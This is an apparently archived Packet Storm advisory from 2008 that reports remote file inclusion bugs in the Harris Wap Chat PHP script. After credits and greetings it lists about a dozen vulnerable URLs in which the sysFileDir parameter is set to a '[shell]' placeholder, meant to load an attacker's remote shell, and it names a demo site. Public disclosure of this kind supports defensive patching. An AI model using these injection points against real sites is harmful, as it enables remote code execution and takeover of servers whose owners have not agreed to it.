harris-rfi.txt

2008-05-01T00:00:00
ID PACKETSTORM:65951
Type packetstorm
Reporter k1n9k0ng
Modified 2008-05-01T00:00:00

Description

                                        
                                            `+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
Scripts : Harris Wap Chat  
Discovered By : k1n9k0ng  
Scripts site : http://www.successkid.com/  
Download Script : http://www.successkid.com/blogs/?p=2  
Thanks To : #sekuritionline, #semprol, #bajingan, #mimid, #yogyafree  
Special To : adhietslank, sukam, cyberlog, cah_gemblunkz, the_sims, aRiee  
letjen, k1tk4t, inouf and jayoes  
Site : www.sekuritionline.net  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
Demo Site :  
http://successkid.com/wapchat/itdiv.php  
  
Bug Found:  
http://www.site.com/wapchat/src/eng.writeMsg.php?sysFileDir=[shell]  
http://www.site.com/wapchat/src/eng.adCreate.php?sysFileDir=[shell]  
http://www.site.com/wapchat/src/eng.adCreateSave.php?sysFileDir=[shell]  
http://www.site.com/wapchat/src/eng.adDispByTypeOptions.php?sysFileDir=[shell]  
http://www.site.com/wapchat/src/eng.createRoom.php?sysFileDir=[shell]  
http://www.site.com/wapchat/src/eng.forward.php?sysFileDir=[shell]  
http://www.site.com/wapchat/src/eng.pageLogout.php?sysFileDir=[shell]  
http://www.site.com/wapchat/src/eng.resultMember.php?sysFileDir=[shell]  
http://www.site.com/wapchat/src/eng.roomDeleteConfirm.php?sysFileDir=[shell]  
http://www.site.com/wapchat/src/eng.saveNewRoom.php?sysFileDir=[shell]  
http://www.site.com/wapchat/src/eng.searchMember.php?sysFileDir=[shell]  
http://www.site.com/wapchat/src/eng.writeMsg.php?sysFileDir=[shell]  
  
`